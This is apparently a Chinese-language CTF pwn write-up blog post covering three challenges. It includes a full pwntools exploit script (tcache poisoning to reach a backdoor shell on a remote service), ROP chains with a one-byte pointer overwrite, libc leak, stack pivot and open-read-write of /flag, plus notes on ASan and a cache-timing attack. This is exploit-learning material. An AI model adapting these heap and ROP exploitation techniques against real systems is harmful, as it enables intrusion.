# spn(11.26)

附件下载
复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor.
虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制,
然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路.
0RAY 的脚本放上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='SPN_ENC'
libc_name='lib/libc-2.27.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('124.71.194.126',9999)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)

def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
# 这里真的是学到了,不过也是我之前看大佬的wp太少的缘故,之前我还在傻傻地一个字一个字地敲(+_+)

def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
sla("0.exit\n",str(num))
def add(size,idx):
cho(1)
sla("Size:",str(size))
sla("Index:",str(idx))
def delete(idx):
cho(3)
sla("Index:",str(idx))
def show(idx):
cho(4)
sla("Index:",str(idx))
def edit(idx,size,data):
cho(2)
sla("Index:",str(idx))
sla("Size",str(size))
sa("Content",data)
def backdoor():
cho(5)
def decrypt(x):
io = process('./spn_dec.py')
io.sendline(str(x&0xffff))
a = int(io.recv()[:-1])
io.close()
return a
def spn_dec(x):
a1 = decrypt(x)
a2 = decrypt(x>>16)
a3 = decrypt(x>>32)
aa = a1+a2*0x10000+a3*0x100000000
print(hex(a3),hex(a2),hex(a1))
print(aa)
return aa

ru("gift:")
shell_addr=int(ru('\n'),16)
print(hex(shell_addr))
aa = spn_dec(shell_addr)
print(hex(aa))
add(0x10,0)
add(0x10,1)
add(0x10,2)
delete(2)
delete(1)
edit(0,0x26,b'a'*0x20+p64(aa)[:-2])
add(0x10,3)
add(0x10,4)
edit(4,2,b'aa')
backdoor()
ia()

# 害,身为菜鸡,我连脚本都没大佬写得好看

然后,我找到了另一种解法,输入 0x1000,数组越界写了 shell,可以直接 backdoor

image-20230425232554399

1
2
3
4
add(0,0x1000)
add(1,0x20)
edit(0,0x1000+2,'\n')
backdoor()

# checkin(11.27)

附件下载

# 关于 ASan

这道题使用了 ASan,是一种影子内存的技术。关于它的具体内容可以参考这篇文章
这里记录一点大致的内容
ASan 是 Google 开源的一个用于进行内存检测的工具,它由两个主要部分构成,插桩和动态运行库 (Run-time library)。
插桩主要是针对在 llvm 编译器级别对访问内存的操作 (store,load,alloca 等),将它们进行处理。
动态运行库主要提供一些运行时的复杂的功能 (比如 poison/unpoison shadow memory) 以及将 malloc,free 等系统调用函数 hook 住
ASan 采用了直接内存映射策略,具体的映射策略如下所示
64 位

Shadow = (Mem >> 3) + 0x7fff8000;

32 位

Shadow = (Mem >> 3) + 0x20000000;

# 关于 orw

由来:
有些 pwn 题为了增加难度,会在程序初始化的时候增加 seccomp 函数,禁用掉除了 sys_open,sys_write,sys_read 以外的所有系统调用。也就是说我们无法通过 system(‘/bin/sh’)来 getshell,只能通过 o,r,w 这三个系统调用获取 flag。
漏洞利用:
首先调用 open 函数打开 flag 文件。
然后读取 flag 文件。
最后通过 wirte 将 flag 打印出来。

1
2
3
sys_open("flag")//读取flag
sys_read("rax","rsp",0x40)//rax为sysoopen的返回值,也就是flag,然后将flag写到esp下
sys_write(1,"rsp",0x40)//打印flag的值到屏幕输出

害,还是知识不到位,这里再放一篇挺详细的 orw 介绍

# 分析

pwn 内可以任意地址写一个字节,故修改 _ZN14__interception21real___isoc99_vfscanfE 的第二个字节,使其指向 gets 函数 (0x73ED28)
image-20230425232602805

1
2
3
4
5
sla(b'Welcome! A gift for you:',str(0x73edb8+1))
sleep(1)
sd(b'\x91')
sa(b'Leave a note.',b'a'*0x1f)
sa(b"That's all. Have fun!",p64(0x43FBB3))

构造 rop,调用 gets 函数,泄露 libc_addr 地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pop_rdi = 0x41af0b
pop_rsp = 0x484d50
call_puts = 0x43A286
rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000)
try:
p.recv()
sl(rop)
libc_addr = leak_address()-0x407e0
print(hex(libc_addr))
if libc_addr == 0x736572605c61:
p.close()
return 0
except Exception:
return 0
print(hex(libc_addr))

最后栈迁移 + orw 调用获取 flag 文件
1
2
3
4
5
6
7
8
9
10
11
12
binsh=libc_addr+0x1B3E1A
system=libc_addr+0x4f550
pop_rsi=0x000000000041ab7c
pop_rdx=0x000000000043ced2
open_addr=libc_addr+libc.sym['open']
read_addr=libc_addr+libc.sym['read']
write_addr=libc_addr+libc.sym['write']
rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr)
rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr)
rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00'
sl(rop2)

# slow_spn(11.29)

附件下载
这题感觉挺奇怪的。。。
貌似除了 pwntools 工具,就没有用到啥和 pwn 相关的东西,主要的解题思路也没啥漏洞利用的感觉,大概属于密码。
程序的大概流程就是:从 flag 文件里面导出 key 和 plaintext,然后通过 s 盒和 p 盒放入 cache 里面.
image-20230425232612526
cache 是题目实现的,最多可以往里添加 0x20 个数(模拟访问 s 盒中的地址),超过了会剔除最小的一个,若是 cache 命中了则使用算法计数,未命中则 sleep (1),
由于题目给了一次访问 plaintext 在 s 盒中的地址的机会,所以可以通过遍历来爆破,通过 sleep (1) 判断 cache 是否命中,然后推出上图中 p,v9,v7,v5 以及 k>>8,k>>4,k 的值,然后拼接得到 key.
image-20230425232621850

此文章已被阅读次数:正在加载...更新于

请我喝[茶]~( ̄▽ ̄)~*

Sycamore /wechatpay.png

/wechatpay.png

Sycamore /alipay.png

/alipay.png